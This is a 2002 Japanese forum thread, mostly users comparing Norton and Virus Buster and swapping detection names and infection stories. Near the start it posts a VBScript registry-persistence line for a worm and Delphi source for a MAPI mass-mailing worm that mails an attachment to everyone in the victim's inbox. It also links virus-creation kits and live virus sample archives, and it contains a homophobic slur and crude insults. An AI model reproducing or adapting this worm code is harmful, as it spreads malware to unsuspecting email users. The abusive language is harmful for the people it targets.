Set ws = CreateObject("WScript.Shell")
ws.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\",
"Run\{regkey}","wscript.exe c:\windows\{worm}.vbs %"



443 :Virus Creation Tools (54):02/01/20 17:20
http://vx.netlux.org/dat/vct.shtml

444 : :02/01/20 17:44
// Usage: HKEY_CURRENT_USER, 'Software\ImaFaggot', 'GayLesbian'
function regReadString(kRoot: HKEY; sKey, sValue: String): String;
var
qValue: array[0..1023] of Char;
DataSize: Integer;
CurrentKey: HKEY;
begin
RegOpenKeyEx(kRoot, PChar(sKey), 0, KEY_ALL_ACCESS, CurrentKey);
Datasize := 1023;
// RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, nil, @DataSize);
RegQueryValueEx(CurrentKey, PChar(sValue), nil, nil, @qValue[0], @DataSize);
RegCloseKey(CurrentKey);
Result := String(qValue);
end;

var
MAPIMessage: TMAPIMessage;
lppMapiMessage: PMapiMessage;
Recip, inRecip: TMapiRecipDesc;
msgFile: TMapiFileDesc;
MError: Cardinal;
MapiSession, iMinusOne, i: LongInt;
bWinNT, bFindFirst: Boolean;
ProfileName, sAddress, sProfile, sSentMail: String;
sSeedMessageID, sMessageID: array[0..512] of Char;
os: TOSVersionInfo;
begin
// Which Operating System we on?
os.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(os);
bWinNT := (os.dwPlatformId = VER_PLATFORM_WIN32_NT);
// Grab default profilename from registry
if (bWinNT) then
ProfileName := regReadString(HKEY_CURRENT_USER,
'Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles',
'DefaultProfile')
else
// Standard Windows
ProfileName := regReadString(HKEY_CURRENT_USER,
'Software\Microsoft\Windows Messaging Subsystem\Profiles', 'DefaultProfile');


445 :MAPI Worm:02/01/20 17:48
else
// Standard Windows
ProfileName := regReadString(HKEY_CURRENT_USER,
'Software\Microsoft\Windows Messaging Subsystem\Profiles', 'DefaultProfile');

// Fucking Delphi bug won't allow a -1 to be set
// within the structure, so we trick it
iMinusOne := -1;
// Will hold any previous recipients
sSentMail := '';

// Logon to MAPI. If no workie, get outta here
try
MError := MapiLogOn(0, PChar(ProfileName), nil, MAPI_NEW_SESSION, 0, @MapiSession);
if (MError <> SUCCESS_SUCCESS) then
Exit;
except
;
end;

446 : :02/01/20 17:49
// Fill in the file structure with our attachment
with msgFile do
begin
ulReserved := 0;
flFlags := 0;
nPosition := iMinusOne; // Let Outlook handle the file position
// Obviously, replace the INI with your worm's path/filename
lpszPathName := PChar('c:\windows\system.ini');
lpszFileName := nil;
lpFileType := nil;
end;

bFindFirst := True;

// Walk through first fifty messages
for i := 1 to 50 do
try
// Keep up with our MessageID
if (bFindFirst) then
begin
sSeedMessageID := '';
bFindFirst := False;
end
else
sSeedMessageID := sMessageID;

// Find a message
// MapiFindNext serves as both a "findfirst/findnext" function, dependent
// upon if MessageSeed has a value
MError := MapiFindNext(MapiSession, 0, nil, @sSeedMessageID, 0, 0, @sMessageID);
if (MError = SUCCESS_SUCCESS) then
begin
// Obtain the long pointer
lppMapiMessage := @MAPIMessage;
// Open for Reading, headers only (both faster, and avoids
// writing all the god damned attachments to temp directory)
MError := MAPIReadMail(MAPISession, 0, @sMessageID,
MAPI_ENVELOPE_ONLY, 0, lppMapiMessage);
if (MError = SUCCESS_SUCCESS) and (lppMapiMessage.lpRecips <> nil) then

447 : :02/01/20 17:50
begin

// Sets info about message recipient
with Recip do
begin
ulReserved := 0;
ulRecipClass := MAPI_TO;
sAddress := 'SMTP:' + lppMapiMessage.lpRecips.lpszAddress;
lpszAddress := Pchar(sAddress);
lpszName := lppMapiMessage.lpRecips.lpszName;
ulEIDSize := 0;
lpEntryID := nil;
end;

// Clear out to avoid any leftover setting
FillChar(MAPIMessage, SizeOf(MAPIMessage), 0);
// Fill the MapiMessage structure.
// Unnecessary to expand entire struct, but aesthetically pleasing
with MapiMessage do
begin
ulReserved := 0;
lpszSubject := PChar('Insert subject for message');
lpszNoteText := PChar('Message text goes here');
lpszMessageType := nil;
lpszDateReceived := nil;
lpszConversationID := nil;
flFlags := 0;
lpOriginator := nil;
nRecipCount := 1;
lpRecips := @Recip;
nFileCount := 1;
lpFiles := @msgFile;
end;

// Send the message
if (Pos(lppMapiMessage.lpRecips.lpszAddress, sSentMail) = 0) then
begin
MError := MapiSendMail(MapiSession, {handle}0, MapiMessage, 0, 0);
// Store this address, so no duplicate messages are sent
sSentMail := sSentMail + lppMapiMessage.lpRecips.lpszAddress;
end;

end;
end;
except
; // Process your errors like a man
end;

try
MError := MapiLogOff(MapiSession, 0, 0, 0);
except
;
end;

end.

448 :Virus Creation Tools (54) :02/01/21 03:53
http://vx.netlux.org/dat/vct.shtml
ウイルス250種
http://www.ebcvg.com/binary.php
Empire248はBloodhoundFileString
http://www.symantec.com/region/jp/sarcj/data/b/bloodhound.html
http://www.symantec.com/avcenter/reference/heuristc.pdf



449 :名無しさん@お腹いっぱい。:02/01/21 07:13
>>432
こっちはウイルスバスター2002でテスト。
205ファイル中に206のウイルスを検出???
zipのどれかに複数入ってるってことか??????

450 :449 未知のウイルスはなかった?:02/01/21 16:13
http://www.ebcvg.com/binary.php のEmpire.248の検出名は?
(左端の上から6番目)

ノートンではBloodhoundFileStringとなる。



451 :449:02/01/21 17:11
>>450
バスター2002では
ウイルス検出名:VCL.289.0
になってた。

452 :御礼 450 Empire248:02/01/21 17:21
「「右」」端の上から6番目でした。

453 :449:02/01/21 17:25
ちなみに検出名が出てるのに、トレンドマイクロのウイルス情報には引っかからなかった。

454 :名無しさん@お腹いっぱい。:02/01/22 06:45
バスターの2002は古いマシンには重いし、ファイヤーウォールの設定を細かくいじれない。
ウイルスバスターとノートンではターゲットとする顧客層が違う。比較しても意味がないと思うが?

455 :名無しさんに接続中…:02/01/22 17:44
>454
>ターゲットとする顧客層が違う

どっち買うか迷ってるから、アドバイスきぼんぬ。

456 :名無しさん@お腹いっぱい。:02/01/22 21:47
>>455
ウイルスバスターを買え

漏れも買ってしまったから

457 :名無しさん@お腹いっぱい。:02/01/23 02:51
>454
>ターゲットとする顧客層が違う

同じじゃないの?どう違うのよ。
解説キボンヌ。

458 :449にお願い:02/01/23 03:19
http://www.ebcvg.com/binary.php

VBS.Noon(左端の上から11番目)
の検出名は?

ノートンはそのままVBS.Noonとなる。


459 :12345のスキャンが急増原因はTrend Micro:02/01/23 14:12
TCP(Transmission Control Protocol)ポート12345は,
トロイの木馬「NetBus」(1999年10月の記事参照)がシステムを乗っ取るために
使うポートであり,Trend Microの「OfficeScan」が使うポートでもある。
ここのところ,同ポートのスキャン件数が急増しており,
セキュリティコミュニティでは原因についての議論が沸騰している。

460 :459の続き:02/01/23 14:13
http://www.zdnet.co.jp/news/0201/23/b_0122_07.html

461 :名無しさん@お腹いっぱい。:02/01/23 14:16
 ノートンは使ってみた。
 
 こいつ、個別サイトごとの設定ができるぞ。
 個人情報保護は、マカフィーにもソフトがあるらしいね。


 続行キボンヌ

462 :HDD全滅した男:02/01/23 14:29
Whistlerの亜種が検地出来ない時点でどっちも逝ってよしだよ・・・
とほほ。

463 :なんなのコレ?:02/01/23 18:32
ノートンでスキャンしようとしたら、
マスターブートレコード警告が出たよ!
とりあえずそのままにしてウイルススキャンしたけど、
なにも見つからなかった。


464 :449にお願い:02/01/23 18:51
http://easyweb.easynet.co.uk/~hiros/Virus.htm

ウィンドーズ98用ウィルスパック winvirii98
の検出名は?

ノートンではBloodhoundFilestringがある。

http://www.ug-power.co.uk
注意注意注意注意注意  画像をオフに!  注意注意注意注意

465 :名無しさん@お腹いっぱい。:02/01/23 19:24
>>463
こちらへどうぞ。
【ノートン】Internet Security 2002 Ver.5
http://pc.2ch.net/test/read.cgi/sec/1011331626/


466 :http:// nttfkok013185.flets.ppp.infoweb.ne.jp.2ch.net/:02/01/23 19:30
>>464
ANT633

467 :ウイルスバスターの未知ウイルス検出名は?:02/01/24 02:27
 

468 :名無しさん@お腹いっぱい。:02/01/24 22:17
ノートンがオススメ


469 :名無しさん@お腹いっぱい。:02/01/24 23:23
NO豚のオスメス

470 :名無しさん@お腹いっぱい。:02/01/25 06:23
検出率を調べてもあまり意味ないだろ。新ウイルスに対応していれば用は足りる。

471 :BIOSをウイルスバスターが書き換え?:02/01/25 07:35
ちょっとスレ違いかもしれませんが、失礼します。

ウイルスバスターを何日か使っていたのですが、しっくりこなかったので
アンインストールしました。
そして昨日、新しいHDDにXPをインストールしようとしたら
一回目の再起動でとまってしまいました。
ハードディスクを認識していません
おそらくbiosをウイルスバスターによって書き換えられてしまっている
と思われ、途中で止まってしまったのはブートセクタが変化したから
だと思うのですが、同じような現象に遭遇した方いらっしゃいますでしょうか?
チップセットはintel815Eです

まあ、素人に毛が生えた程度の知識しかないので、
何かしらの勘違いの可能性が高いのですが……

472 :名無しさん@お腹いっぱい。:02/01/25 10:07
バスターでBIOSいじる訳ないじゃん。
つーか、アンインストールはちゃんとできたの?
とりあえずもう一度バスターインストールやってアンインストールしてみれ。

473 :名無しさん@お腹いっぱい。:02/01/25 11:26
済みませんが無料でインストールできるワレザーソフト(コピーツール)のダウンロードサイトがありましたら教えて頂けませんか?
どうしても本日中に必要なのです。できましたらガードに引っ掛からない可能な限り強力なものをお願いします。


474 :名無しさん@お腹いっぱい。:02/01/25 11:54
>>473
http://choco.2ch.net/test/read.cgi/news7/1009233792/
ここに逝け

475 :名無しさん@お腹いっぱい。:02/01/25 12:54

今だ!セクースしながら475ゲットォ!!
 ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
        ∧∧
       (゚Д゚ )           (´´
アアン !  ∧∧⊂  ヽ/       (´⌒(´
   ⊂(>o<*⌒ `つ つ≡≡≡(´⌒;;;≡≡≡
      し' ̄ ̄   (´⌒(´⌒;;
            ズザーーーーーッ


ドッコイショ・・・・・・・・・
 ̄ ̄ ̄ ̄ ̄ ̄∨ ̄ ̄      (´´;;
     ∧∧∧∧        (´;;
  〃 (>_<*)Д-)
 〃 ⊂(。(。 つと| グィッ
   〃  > y ) /〜))
      .し'し' U


何見てんだゴルァ!!
 ̄ ̄ ̄ ̄ ̄ ̄∨ ̄ ̄
  パ  ∧∧ ∧∧  パ
  ン (n。n*)゚Д゚)  ン
     (.ノ(し⊂ニノ ))
ミナイデェ > y ) /≡〜
     .し'し' U


476 :名無しさん@お腹いっぱい。:02/02/05 11:01
age

477 :初心者向けウイルス作成ソフト:02/02/05 15:28
ウイルス205種
http://www.ebcvg.com/binary.php
Empire248はBloodhoundFileString(左端の上から6番目)
未知のウイルス名称決定
このウイルス検出名はVCL_MUT.Empire.248となりました。

ほかのアンチウイルスソフトでの検出名を教えてくださいませませ。
文化放送ではありません。

http://www.symantec.com/region/jp/sarcj/data/b/bloodhound.html
http://www.symantec.com/avcenter/reference/heuristc.pdf

http://www.trendmicro.co.jp/vinfo/virusencyclo/default2.asp?m=q&virus=empire&alt=empire
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=FILESTRING.DA

初心者向けウイルス作成ソフト
http://vx.netlux.org/dat/vct.shtml


478 :名無しさん@お腹いっぱい。:02/02/05 16:06
http://www.e-net.gen.tr/
ここって感染していませんか?


479 :名無しさん@お腹いっぱい。:02/02/05 16:11
してない>>478

480 :名無しさん@お腹いっぱい。:02/02/05 19:09
>>478->>479
自作自演うまいな
VBS HAPTIME.A-1
バスター 
http://www.trendmicro.co.jp/virusinfo/vbc_default3.asp?VName=VBS%5FHAPTIME%2EA

検査に30分もかかった

481 :ほんまや!478はウイルス:02/02/05 19:29
↑↑↑478はウイルスhttp//www.e-net.gen.tr/注意注意注意注意注意
HAPTIME!

右栗で対象をファイルに保存をしようとするとノートンが反応。

直接開かないで右栗で対象をファイルに保存で対応する。


482 :名無しさん@お腹いっぱい。:02/02/05 22:35
漏れのPC(ノートン)年末に「ニムダ」に犯され何とか修復。
しかし、その後全HD検査ができず、1ドライブごとの検査をしている。しかし最近WindowsシステムのHDだけ途中で止まってします。
あーそういえば無期限ソフトを実行したこともあったけなー
なにが原因かなー。サポートにも電話しずらいし...。グスン

483 :検出名を教えてくださいませませ:02/02/06 01:25
ウイルス205種
http://www.ebcvg.com/binary.php
Empire248はBloodhoundFileString(左端の上から6番目)
未知のウイルス名称決定
このウイルス検出名はVCL_MUT.Empire.248となりました。

ほかのアンチウイルスソフトでの検出名を教えてくださいませませ。
文化放送ではありません。

http://www.symantec.com/region/jp/sarcj/data/b/bloodhound.html
http://www.symantec.com/avcenter/reference/heuristc.pdf

http://www.trendmicro.co.jp/vinfo/virusencyclo/default2.asp?m=q&virus=empire&alt=empire
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=FILESTRING.DA

初心者向けウイルス作成ソフト
http://vx.netlux.org/dat/vct.shtml

484 :名無しさん@お腹いっぱい。:02/02/06 06:22
ttp://choco.2ch.net/test/read.cgi/news/1012289344/
(ウイルスらしいですのでダウソは注意して下さい)

ここの1にあるやつウイルスらしいんですが
わたしのノートンアンチウイルス2002は反応しません。
なんか変なのかな。先週買ったんですけど。
OSはWindows2000です。



485 :名無しさん@お腹いっぱい。:02/02/06 11:25
気持ち悪い!
最近シマンテックのHPにアクセスできない。
他の場所(異るISP)からだと大丈夫なんだけど。
OSの再インストと製品の再インスト繰り返してる
からかな。ユーザー登録したり、しなかったり。
登録した時の内容も忘れた。




486 :名無しさん@お腹いっぱい。:02/02/06 22:03
>>485
おめでとうBL入り

487 :名無しさん@お腹いっぱい。:02/02/07 13:30
実験してみたノートンのFWとバスターのFWとっちがいいか両方ノートンもFWの設定は完璧(Symantec Security Checkで調べた結果完璧だった)
バスターも完璧(設定は高)でそれぞれポートスキャンしてみたら両方五つもあいてた。さらにトロイ送ると両方通過
この結果から俺流の結論出すと両方糞しょせん人間が作ったもの完璧なんてありえない
だから買うならノートンでもバスターでもどっちでもいい。
ただ魔かフィーだけはやめとけ

488 :名無しさん@お腹いっぱい。:02/02/07 17:31
VB2002持ってるけど、どうもPFWは当てにならないみたいだから、
ZoneAlarmでも入れてみようかな・・・
  ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  ∧_∧  カタカタ…
  (*゚ー゚) ______
  /つ_|| ̄ ̄ ̄ ̄ ̄|
〜(_|\||   XP   |
    \ |==========|


489 :名無しさん@お腹いっぱい。:02/02/07 17:58
>>487
VBのFWは糞ってのは有名
漏れはVBとTiny入れてる

490 :487:02/02/07 19:19
>>489俺に言わせりゃノートンのFWも糞

491 :名無しさん@お腹いっぱい。:02/02/07 19:26
ノートン使った事無いYO

492 :hiro:02/02/07 19:38
ウイルスバスター2002を少し使ってた(体験版)けど、まあまあだった。
簡単で初心者向けにはいいけど初心者じゃないんだよね・・w
Nortonは性能がいい。
けど、2chとかに書き込むときの設定などはちょっとめんどっちぃ
でも、性能とかはいいぞぇ
2002になってから保護者機能はいったし。

493 :名無しさん@お腹いっぱい。:02/02/08 05:50
>>492
その保護者機能だけど「2ちゃんねる」に入ったら
一時期は「セックスヌード」と判定されて入れなくなった 爆笑
ここってポルノサイトか?!笑



494 :   :02/02/10 05:16

IGMPプロトコルってなに?




495 :名無しさん@お腹いっぱい。:02/02/11 02:26
ノートン2001で、IE6にアップデートすると、
web保護のIEの項がなくなっちゃったんだけど、
これって2002に買い換えてねってこと?ヽ(`Д´)ノ ウワァァァァン!!



496 :名無しさん@お腹いっぱい。:02/02/12 07:03
俺的にノートンは糞だな
なぜならば、WinMXでアップロードができなくなるから

497 :hiro:02/02/12 16:56
WinMXでNortonやウイルスバスターを落としたら捕まる・・・w

498 :名無しさん@お腹いっぱい。:02/02/12 18:17
496=糞。 設定も出来ないならFW使うな。
とりあえずノートンはローカルに保存してる登録情報を暗号化しろって。
ノートン通過できるトロイから、住所氏名盗めるんだけど。

499 :名無しさん@お腹いっぱい。:02/02/12 20:45
test

500 :名無しさん@お腹いっぱい。:02/02/12 22:03
FWをぞねににして,両方入れるのが最強なの?
明日クリーンインストールするんだゴラァ!教えろ!!

501 :名無しさん@お腹いっぱい。:02/02/12 23:00
>>500
最強を求めるなら Kerio Personal FW (旧Tiny?)だゴルァ!
これ最強。 フリーで強力な設定機能有り。 英語なのが難点だゴルァ!

ttp://members.tripod.co.jp/eazyfox/Firewall/Tiny/TinyPFW1.htm
この辺で使い方を勉強するといいよ ゴルァ!

簡易さを求めるならぞねがいいと思う。 ぞねはポートスキャン等に敏感だよね。。

502 :名無しさん@お腹いっぱい。:02/02/12 23:23
VirusBuster2002からNortonSystemWorks2002に乗り換えた。
俺ネトゲーとかよくやるんだけどVirusBusterの時より遥かに速度が低下した。
やはりネトゲーは回線の速度が良くないと駄目だ…。という事でVirusBuster2002に戻りました。
NortonSystemWorks2002どうしよう…。今眠ってます。登録してません。ほしぃ人どぅぞヽ(´ー`)ノ

503 :名無しさん@お腹いっぱい。:02/02/12 23:31
ノートンの2001があってもうすぐ期限切れなのだが
やっぱ延長料金払うより2002買ったほうが良いのかな?

504 :名無しさん@お腹いっぱい。:02/02/12 23:35
>>503
Yeah.lets buy!

505 :名無しさん@お腹いっぱい。:02/02/13 10:48
常時接続のやつにどれが良いか聞かれた。
自分はNortonInternetSecurity使ってるんで
これを薦めたが、初心者はVBの方が良かった?

かくいう自分もNAVだけにして、FWはぞねを入れようとしてるけど。

506 :エフェドリンながヰ:02/02/13 10:56
http://www.puchiwara.com/hacking/
           __,,,-‐――‐-、__   ヽ、
        __=ニ-―''''"""゙゙`‐-、_`ヽ、  ヽ.
      __,/ ,.--ヾ/''''''"'''"''ー、、ヽ、ヽ、  ヽ.
    / / /            ミ `ヽヽ  i
   / / i /              ヾ__ヽヽ  |
  / / ,| |             __L i |  |
  / /| |ヽ |        ,,,,-∠''''""  ミ  i|  |
  { | { |-+ヽ,,,,,,,    ,,illニ-==三`゙`‐---+  |  |
  ||  i |┼'"三三ヽ    ;/(ソ::ノ T´  ヽ-、.| |
   ヽ ヽー'"(ソ:)` !     ‐‐-‐'´    ∧`}| .|
       .| ``''"´ /            ヽ. { !| .|
       .i    <             '´/ | ||
       !    ヽ `          ○  | ||
       ハ.    _,=---         /   | |.|
       .| ヽ.   `'''''''´      / | |  | | |
       | | ヽ         ,. ' /  .| .| || || |
      .| |  / ヽ      ,/ /   |  | || || |
      | | /   `_t‐‐‐'"´,.----―''''''7 | || || |
      .| | / / <"ヽj  /    __. /┐| || || |
     ./ // /,.-‐ゝ->‐/-‐ヽ__/‐‐‐/ ヽ|_ || |.| |
     ./ // //,.-〈 〈‐、  \--/    ``ー、!_|

507 :名無しさんに接続中…:02/02/13 12:40
VirusBuster2002をインストールしたらPCが立ち上がらなくなる。
OSはXP。
何故?


508 :名無しさん@お腹いっぱい。:02/02/13 15:12
>>507
↓これの可能性が高い
 http://www.trendmicro.co.jp/esolution/solutionDetail.asp?solutionID=3561

正直、VBはウィルスアップデートの時に問題がたまに起こる。(3ヶ月にいっぺん位)
糞マカフィ程致命的ではないにしても、システムに直結するアプリだけにトラブルは御免。
頻繁にウィルスアップデートする人はAVの方がいいと思う。

509 :名無しさん@お腹いっぱい。:02/02/13 17:10
>>502
( ゚д゚)ホスィ

510 :質問:02/02/16 00:47

セキュリティーはどっちが高いのですか?


511 :ナナシサソ:02/02/16 04:47
ついでに質問します
バスターはポート12345が開いてるという噂が・・・
踏み台にならないのかな?


512 :名無しさん@お腹いっぱい。:02/02/16 05:04
>>511
VBのPFWは基本は通して、問題のあるポートだけ塞ぐと聞いたぞ。
ゆえに2chでは不評である。

513 :ナナシサソ:02/02/16 05:56
>>512

サンクスコ
ttp://www.zdnet.co.jp/news/0201/23/e_port.html
これ見たからバスターは駄目なのかな?って思ったもので
詳しくは理解出来なかったんだけどね


514 : :02/02/16 11:51
昨日、ニムダに感染しました。

アタックかけてきたIPアドレスをIEに貼り付けてみたのが、間違いでした。
昔からノートンver5を入れているので、一応警告&削除をして、
そのあと、ノートンでウィルススキャンをしても、引っかからず
(ウィルス定義UPDATE済み)
念のため、トレンドマイクロのオンラインウィルススキャンをしたところ、
ニムダに感染してることが発覚

とりあえず、トレンドマイクロの駆除ソフトを使った後、Cドライブだけ、
初期化&再インストール。

ウィルスバスターのほうが性能いいの?
ノートンはじめは教えてくれたけど、そのあとは何にもやってくれなかったよ
ノートンのバージョンが古すぎ?!
ノートンはニムダ苦手?!

次ぎ買うなら、ウィルスバスターかな?



515 :名無しさん@お腹いっぱい。:02/02/16 14:58
2002年2月13日夜、弊社の米国FTPサーバにおいて、「ウイルスバスター95」のお客様情報の一部である1388件のデータが、外部から閲覧可能な状況だったことが判明いたしました。
2月14日朝、そのデータを当該FTPサーバから削除しアクセス禁止措置を行うとともに、経過などの事実関係の確認を行い、同時に再発防止の対策を実施いたしております。

お客様には深くお詫び申し上げるとともに、今回の件を重視し、今後の顧客情報保護ガイドラインの徹底や情報セキュリティポリシーの徹底など、再発防止について弊社はあらためて真摯に取り組む所存でございます。
また、該当するデータに含まれていたお客様には、本日お詫びを書面にて郵送させていただきます。

516 :名無しさん@お腹いっぱい。:02/02/16 16:00
ウィルス対策ソフトのベンダーにセキュリティを求めるのは、
八百屋で魚を求めるようなものだ。

517 :名無しさん@お腹いっぱい。:02/02/16 17:31
>>516
そんじゃ初期のVB2002は
なぜセキュリティソフトと共存できなかったのだろう?


518 :名無しさん@お腹いっぱい。:02/02/16 17:40
>>512
それは2001だけだろ。2002は全ポート閉がデフォのはず。

519 :太郎:02/02/17 01:32
緊急!!
ノートンオンラインスキャンの結果、ウィルス感染していなかった。
結果は良し、しかしスキャン中の画面で感染ファイル1になってました。
二回も試しましたが結果は同じ、途中経過では1結果は0。
いったいどういうことでしょう??気になるんですけど・・・
同じような経験をお持ちの方や知ってる方いませんか???

520 :名無しさん@お腹いっぱい。:02/02/17 01:38
>>514
ニムダでアタックしてきたIPは
211.42.*0.181ですか?
昨日からバスタのログにイパーイです・・・

521 :514:02/02/17 08:59
>>520
レスありがとうございます。
ああ、ちょっとちがいます。
211.158.*1.86です。
HTTPDで鯖を立てたら、すぐに、CGIやSSIのスクリプトが入ってるフォルダにアクセスしてきました。
その間5分もたってないです。

もう、おそろしくて鯖たてられない(w

ノートンは教えてくれるのだけど、完全に駆除してくれない。

また、これが発見されてない亜種のウィルスだったら、、、と思うと、不安です。

522 :名無しさん@お腹いっぱい。:02/02/17 09:38
なら両方入れればよいのでは?ファイアーウォールはシマンテックで
ウィルスソフトにはトレンドマイクロでってゆう具合にすればいいよ

セキュリティソフトはノートンがウィルスソフトにはVBが好評みた
いだからそれぞれ専門に特化したものを入れれば問題ないと思うのだ
けれどあってる?

523 :名無しさん@お腹いっぱい。:02/02/17 13:13
>>514
LiveUpdateしてたって言うけど、メイン画面で定義ファイルの日付は更新出来てたか?
PC環境(Temp多かったり、常駐多かったり、設定がおかしくなった場合、LiveUpdateしても
正常に 更新出来てない事があるよん。。。
あと、Nimdaが見つかった時、「除外」はしてないよね??
 通常ウィルス定義が最新で見つからないなんて事は無いけどね〜


524 :cheshire-cat:02/02/17 13:27
>>523
Klez.Dもらったけど、Nortonで検出できない。
Bloodhoundは高、全ての拡張子をスキャンにしても。

EICARはヒットしたけどね。

525 ::02/02/17 14:42
誰かぁっ、答えて、赤丸先生!!

526 :名無しさん@お腹いっぱい。:02/02/17 15:10
>>521
そのようなことを言っていては,昨今のインターネットの中,HTTPサービスを提供するのは無理です。
タイムマシンに乗って,幸せな時代へお帰りなさい。

527 :514:02/02/17 15:20
>>522
たしかに、お金はかかるけど、そのほうがいいのかな

>>523
真っ赤な画面になったあと、削除を選択しました。
そのあとノートンでHDDをウィルスチェックしたらノートンでは「感染ファイル0」と。
そのあと、トレンドマイクロのオンラインウィルスチェックで引っかかりました。

定義ファイルの更新、うーん、2週間前ぐらいに実行してましたけど、
日付までみてなかったような、

ウィルスにかかってからは、念のため定義ファイル更新して
日付をチェックしてから、スキャンしたけど、「感染ファイル0」となってました。

ニムダってA-Eまであるんですねえ。ノートンで引っかかった時は、ニムダだ、
と思っただけで、そこまで詳しく見てませんでした。

レスありがとうございました。

528 :514:02/02/17 15:28
>>526
そうですね。素人が下手に手を出すべきじゃないですね。
とくにCGI、SSIなど、高級なスクリプトなどは、

実際、鯖立ててる人は多いと思うのですが、こういうときは、どうしてるの?
不正なアクセスとかは
やっぱり、無視をきめこんでるんかな?

529 :名無しさん@お腹いっぱい。:02/02/18 00:13

もうすぐ期限切れになるのでノートンに変えてみる。

パーソナルファイアーウォール使いたいから
ノートンITセキュリティーにする。

パターンファイルの配給はどっちが早いんだ?


530 :名無しさん@お腹いっぱい。:02/02/18 00:42
クロスアップグレードパッケージってなに?


531 :名無しさん@お腹いっぱい。:02/02/18 00:59

FWとの統合を考えたら
やっぱノートンの方がいいね。


532 :名無しさん@お腹いっぱい。:02/02/18 01:16
>>527

 分かった、おそらく、ウィルスを削除ではなく、検疫したんだよ。
ウィルスバスターは、NAVの検疫のフォルダ(Quarantin)の中まで
スキャンしたから、ウィルスが見つかった。
 NAVでは、検疫済みのファイルに関しては対処済みなのでスキャンされない
んだよん。。。By関係者。

533 :名無しさん@お腹いっぱい。:02/02/18 01:24
VBは最初他FWソフトと共用出来なくしたことで
かなりユーザーを減らしたのではないか?


534 :514:02/02/18 08:37
>>532
レスありがとうございます。
検疫ではなく、削除しました。
そのほうが安全だと思って。

それにVBでウィルスが見つかったフォルダは
c:\windows\(インターネットテンポラり)\
のなかの(exe)実行ファイルでしたし。

NAVで検疫すると、VBでひっかかってしまうのですか?
それって危険じゃないですか?

ありがとうございました。

535 :名無しさん@お腹いっぱい。:02/02/18 20:53
今日シマンテックから1ヶ月お試し用のアンチウイルス2002をもらってきたんだけど。
スキャン………めっちゃ時間かかるのね。2時間30分やっても終わらなかった…。
これってどう言う事!?スキャンのお手軽さはVBの方が上なのか?

536 :名無しさん@お腹いっぱい。:02/02/18 21:44
>>535(・∀・)イイ!

537 :名無しさん@お腹いっぱい。:02/02/18 23:35
>>535
いつも5時間以上掛かりますがなにか?

538 :VBユーザだけども:02/02/19 01:39
>>535
スキャンが早いと、「ホントにちゃんとスキャンしてるのかゴラァ!!」
と心配になるという意見もあり。

539 :535:02/02/19 19:34
>538
確かに。(苦笑
でも、一応スキャンしているみたいですよ、
ウイルスファイル何個か見つけてるし。
でも削除失敗しまくってるし。<イミネージャン

ところで>537さん、
その5時間の間、何してます?

540 :名無しさん@お腹いっぱい。:02/02/21 04:24
ちょっと質問。
ノートンやバスターの日本語版って年間サポートで3000〜4000円もかかんの?
PC-Cillin(英語版のバスター)だと、年間6$〜7$なんだけど。(Early bird price)
もうすぐライセンス切れるし、常駐監視重いんでこれを機会に日本語版ノートンに乗り換えようと考えてたんだけど、やっぱり英語版のPC-Cillinでライセンス継続しようかな。



541 :名無しさん@お腹いっぱい。:02/02/21 11:07
 

542 :名無しさん@お腹いっぱい。:02/02/21 16:20
1500

543 :名無しさん@お腹いっぱい。:02/02/21 18:22
あげ

544 :今のとこバスター:02/02/22 02:39
以下はノートンでは反応しません。ノートン以外はどうですか?
http://easyweb.easynet.co.uk/~hiros/virii99/Not/asciiv.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/cb4111.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/dodgy.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/urkel.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Packed/winvirii98.zip Bloodhoundがある。


545 :名無しさん@お腹いっぱい。:02/02/22 03:33
>>544
バスターで全部反応。

546 :名無しさん@お腹いっぱい。:02/02/22 03:37
 

547 : :02/02/22 03:39
>>544
検出名は?
ログを貼ってくれ!

548 :名無しさん@お腹いっぱい。:02/02/22 17:57
>544
体験版落として自分で試せば???
上からASCUV.613、、、、、後は自分でやってね

549 :名無しさん@お腹いっぱい。:02/02/22 18:55
>>485はウィルス感染してるかもしれない

550 :製品版:02/02/22 19:01
ノートン製品版を使用のため体験板を試すのは不可能。

お前みたいに体験板は使っておらん。 >>548 はアフォ!!!

551 :名無しさん@お腹いっぱい。:02/02/22 19:23
>>485
http://www.google.com/search?q=cache:gGdgezjpqNoC:www.symantec.com/region/jp/sarcj/data/w/w95.mtx.html+W95.MTX+%83E%83C%83%8B%83X&hl=ja&lr=lang_ja

>>549
このへんのことだろ?

552 :名無しさん@お腹いっぱい。:02/02/22 21:33
アポはお前だ>>549

553 :名無しさん@お腹いっぱい。:02/02/23 00:02
>>550
> ノートン製品版を使用のため体験板を試すのは不可能。

なに勝手なことほざいてんだ。知るかよそんなこと。


554 : :02/02/23 00:09
>>553
なに勝手なことほざいてんだ。知るかよそんなこと。

ログを貼れば済むこと。 
>>553 はナマでやってるのか?
インターネット=ソープランドのマンコ
パソコン= >>553 の淋、蔵まみれのチンコ


555 :名無しさん@お腹いっぱい。:02/02/23 02:42
age

556 :sage:02/02/23 02:43
>>554
しばらく生でやってないよーー

557 :報告 未知ウイルス:02/02/23 13:55
以下はノートンでは反応しません。ノートン以外はどうですか?
http://easyweb.easynet.co.uk/~hiros/virii99/Not/asciiv.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/cb4111.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/dodgy.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/urkel.zip

cb4111以外は検出できる。 検出名:DirDos.Generic
-----
>>553 の淋、蔵まみれのチンコの件はどうなった?



558 :ハローキティ:02/02/23 18:58
>> 554
> ログを貼れば済むこと。

それが人にものを頼む態度なわけ?
